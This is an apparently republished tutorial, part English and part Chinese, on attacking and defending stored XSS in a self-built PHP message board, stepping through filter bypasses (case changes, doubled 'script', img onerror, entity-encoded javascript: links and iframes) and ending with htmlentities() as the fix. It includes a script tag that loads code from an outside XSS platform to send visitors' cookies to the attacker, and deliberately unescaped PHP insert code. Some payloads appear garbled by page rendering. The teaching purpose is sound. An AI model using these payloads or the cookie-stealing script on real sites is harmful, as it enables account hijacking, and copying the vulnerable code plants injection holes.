Home > Article > Operation and Maintenance > Practical attack and defense of one-time stored XSS
What is stored XSS
It is by injecting executable code into the web page and successfully Execution, to achieve the purpose of attack, usually injects a JavaScript script. During the testing process, we generally use:
<script>alert(1)</script>
Use this js code to pop up a box to prove the existence of xss vulnerabilities. So, newbies may ask, what is the use of popping up a box?
Actually, the pop-up box is just to prove the existence of this vulnerability. There are many ways to exploit this vulnerability.
For example, you can use the xss platform:
Write an xss script generated by the platform:
<script src=//xsspt.com/ZsgUBf></script>
When someone enters the zone When there is a page with this script, the js script will obtain its cookie and send it to the xss platform.
You only need to log in to the xss platform and wait. After getting the cookie, you can log in to his account without a password.
Note: The focus of this article is to carry out XSS attacks step by step from a hacker's perspective, and then discuss how to defend against XSS attacks step by step from a developer's perspective. Therefore, in this article, I will correct the back-end code as a developer, and then conduct XSS attacks on the front-end page as a hacker. This needs to be noted.
Regarding the manifestation of stored XSS vulnerabilities, the more classic one is the message board. But we are all good students who abide by the law and cannot test external websites, so we spent half an hour making a message board by ourselves.
First of all, there should be a front-end display page Message_Board.php and a back-end data storage page addMessage.php
The front-end code is not the focus of this article (interesting You can check it yourselfFront-end code), we focus on the back-end code addMessage.php:
<?php $nickname = @$_POST['nickname'];//昵称 $email = @$_POST['email'];//邮箱 $content = @$_POST['content'];//留言内容 $now_time = @$_POST['now_time'];//留言时间 $ini= @parse_ini_file("config.ini"); $con = @mysql_connect($ini["servername"],$ini["username"],$ini["password"]); if($con){ mysql_query("set names 'utf8'");//解决中文乱码问题 mysql_select_db($ini["dbname"]); $sql1 = "select count(*) from message_board"; $result = mysql_query($sql1); $floor = mysql_fetch_row($result)[0] + 1; $sql = "insert into message_board values ($floor,\"$nickname\",\"$email\",\"$content\",\"$now_time\")"; mysql_query($sql); }?>
As you can see, we did not process the four parameters passed in at all, but directly Store in database.
So, as long as we enter like this:
After submission, the system will automatically refresh the page and a pop-up box will appear:
After clicking OK, you will find that the message content and the message sender are both empty.
This is because the js script has been parsed. At this time, we press F12, open the browser's developer tools, and find the js script.
So, here comes the question.
After all, we have another identity, how should developers defend it?
0×00, here is the simplest one, just modify the front-end code
Add the maxlength attribute in the input tag
<input type="text" name="nickname" placeholder="留言者昵称" maxlength="10">
As for the principle , because the js script is in the form of <script></script> and the length is 17, so as long as we limit the length on the front end, we can prevent hackers from carrying out xss attacks.
But! Development is not that easy!
We are hackers who want to develop, so we have to do it ourselves.
As an attacker, we can also modify the front-end code. The specific operation is to use the browser's F12 (developer tools)
You can see, We can modify the length directly.
In addition, you can also use the packet capture method to write directly in the packet, which is not limited by the length.
0×01. Filter the keyword script
As a developer, you can easily find that in order to carry out an xss attack, you must insert a js script, and The characteristics of js scripts are very obvious. The script contains the script keyword, so we only need to perform script filtering.
Go back to the previous code.
For the convenience of explanation, I only take the nickname parameter. In fact, the four parameters passed in need to be processed in the same way.
$nickname = str_replace("script", "", @$_POST['nickname']);//昵称
上面这个str_replace()函数的意思是把script替换为空。
可以看到,script被替换为空,弹框失败。
那么黑客该如何继续进行攻击呢?
答案是:大小写绕过
<script>alert(1)</script>
因为js是不区分大小写的,所以我们的大小写不影响脚本的执行。
成功弹框!
0×02、使用str_ireplace()函数进行不区分大小写地过滤script关键字
作为一名优秀的开发,发现了问题当然要及时改正,不区分大小写不就行了嘛。
后端代码修正如下:
$nickname = str_ireplace("script", "", @$_POST['nickname']);//昵称
str_ireplace()函数类似于上面的str_replace(),但是它不区分大小写。
那么,黑客该如何绕过?
答案是:双写script
<Sscriptcript>alert(1)</Sscriptcript>
原理就是str_ireplace()函数只找出了中间的script关键字,前面的S和后面的cript组合在一起,构成了新的Script关键字。
弹框成功!
0×03、使用preg_replace()函数进行正则表达式过滤script关键字
$nickname = preg_replace( "/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i", "", @$_POST['nickname']);//昵称
显然,弹框失败。
攻击者如何再一次绕过?
答案是:用img标签的oneerror属性
<img src=x onerror=alert(1) alt="Practical attack and defense of one-time stored XSS" >
0×04、过滤alert关键字
看到这里,不知道你烦了没有,以开发的角度来讲,我都有点烦。大黑阔你不是喜欢弹窗么?我过滤alert关键字看你怎么弹!
$nickname = preg_replace( "/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i", "", @$_POST['nickname']);//昵称 $nickname = preg_replace( "(.*)a(.*)l(.*)e(.*)r(.*)t/i", "", $nickname);//昵称
那么,攻击者该怎么办呢?
答案是:编码绕过
<a href=javascript:alert( 1)>a</a>
当点击页面上的超链接时,会弹框。
但是为什么呢?
这种编码方式为字符编码
字符编码:十进制、十六进制ASCII码或unicode 字符编码,样式为“数值;”, 例如“j”可以编码为“j”或“j ”
上述代码解码之后如下:
<a href=javascript:alert(1)>a</a>
你能明显感觉到限制:由于使用到了a标签,所以只有点击时,才会弹框。
作为一个大黑阔,我们当然是不满意的,能不能让所有进入这个页面的人都弹框?
当然可以了:用iframe标签编码
<iframe src=javascript:alert(1 )>
这种写法,同样既没有script关键字,又没有alert关键字。
可以看到弹框成功!
可是你也能看到,由于使用了iframe标签,留言板的样式已经变形了。实战中尽量不要用。
0×05、过滤特殊字符
优秀的开发,永不认输!你个小小的黑阔,不就是会插入js代码么?我过滤特殊字符,看你代码咋被解析?
可是我不想手撸代码来列举那么多特殊字符怎么办?
php给我们提供了htmlentities()函数:
$nickname = htmlentities(@$_POST['nickname']);//昵称
htmlentities()函数的作用是把字符转换为 HTML 实体。
看到这里,你可能还是不明白HTML字符实体是什么。我举个例子吧,当你想在HTML页面上显示一个小于号(
可以看到,我们输入的内容全部显示在页面上了。
可是却没有弹框。
我们鼠标右键,查看网页源代码
际上,我们输入的内容已经变成了HTML实体:
<iframe src=javascri pt:alert(1)>
无法被解析为js脚本。
黑客在当前场景下已经无法攻击了(在某些其他场景,即使使用了htmlentities()函数,仍然是可以攻击的,这就不在本文讨论范围之内了)
0×06、总结
开发者不应该只考虑关键字的过滤,还应该考虑特殊符号的过滤 。
黑客在面对未知的情况时,要不断尝试,这对于知识的储备量有较高的要求。
对于xss攻击,站在开发者角度来讲,仅仅用一个htmlentities()函数基本可以做到防御,可是一个优秀的开发者应该明白它的原理。站在黑客的角度来讲,面对环境的逐步变化,条件的逐步限制,攻击思路灵活变化是对整个职业生涯有益的。
相关文章教程推荐:web服务器安全
The above is the detailed content of Practical attack and defense of one-time stored XSS. For more information, please follow other related articles on the PHP Chinese website!